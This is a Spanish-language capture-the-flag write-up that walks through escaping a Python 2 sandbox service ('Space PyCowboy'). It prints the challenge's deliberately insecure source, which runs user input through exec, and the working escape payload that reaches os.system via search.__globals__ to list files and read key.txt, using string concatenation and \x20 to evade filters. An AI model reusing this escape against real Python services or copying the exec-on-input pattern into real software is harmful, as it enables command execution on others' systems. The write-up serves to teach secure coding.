=== Space PyCowboy Write-Up
1 Conectamos a la ip y puerto indicados con netcat: nc [IP] [PORT]
Por la pista del título y las entradas que metemos, cuando nos pregunta por la key podemos saber que se trata de Python.
Intentamos injectar algo de código y utilizar "import" de módulos sin mucho éxito ya que tenemos un método en el código 'securized()' que impide esto:
def securized():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
En el bucle de UNSAFE anula la utilización de estas funciones.
Vamos a ver el código completo :
#!/usr/bin/env python
# config with socat
# Use socat to run as a listening service
# socat TCP-LISTEN:1337,fork EXEC:./level1.py,pty,stderr
def securized():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import search
securized()
print 'Can you read the key.txt?'
while True:
try:
x = search('\S+', raw_input()).group(0)
if "key.txt" in x:
print "Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)"
exit()
if "sudo" in x:
print "Good try, but too dangerous !"
exit()
if "sh" in x:
print "Good try, but not allowed :-)"
exit()
print "x=", x
a = None
exec 'x=' + x
print 'you got:', a
except Exception, e:
print 'Exception: ', e
Vemos que la variable x es igual a lo que metamos en la entrada por el uso de search y pocas lineas mas tarde es ejecutado.
x = search('\S+', raw_input()).group(0)
Ummm, no podemos hacer uso de módulo pero tenemos __globals__, Vamos a probar:
>>>>> search.__globals__['sys']
x= search.__globals__['sys']
you got:
Parece que podemos abusar de __globals__['sys'] hasta conseguir utilizar import os:
>>>>> search.__globals__['sys'].modules['os'].system('ls')
x= search.__globals__['sys'].modules['os'].system('ls')
bin jail.py jail2.py key.txt run.sh t.py
you got: 0
Vale, ahora sólo toca ejecutar el comando qeu nos vuelque el contenido del fichero, teniendo en cuenta que necesitamos concatenar y salvar espacios, porque el servicio es asi de caprichoso.
imac:~ pedro$ nc 188.165.132.186 1337
Can you read the key.txt?
search.__globals__['sys'].modules['os'].system('cat\x20key.txt')
Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)
Pedazo de ... Llegar aquí para encontrarnos con esta sorpresita, en fin, vamos a concatenar y liberar a nuestro compañero del equipo DELTA.
imac:~ pedro$ nc 188.165.132.186 1337
Can you read the key.txt?
search.__globals__['sys'].modules['os'].system('cat\x20ke'+'y.txt')
x= search.__globals__['sys'].modules['os'].system('cat\x20ke'+'y.txt')
key{H45_c0n539U1d0_l4_lL4V3_D3_l4_c3Ld4_C0N9r472}
También podíamos intentar sacarnos una shell, aunque el código tenía bastantes filtros para que esta posibilidad no se produjera nunca. Aunque se hubiera conseguido shell, el usuario estaba bastante 'encarcelado'.
A mi modo de ver, esta pequeña prueba te enseña a codificar un poco mejor un servicio en python y tener en cuenta que el usuario puede aprovecharse de cualquier fisura en tu codigo.
Tunelko
No hay comentarios:
Publicar un comentario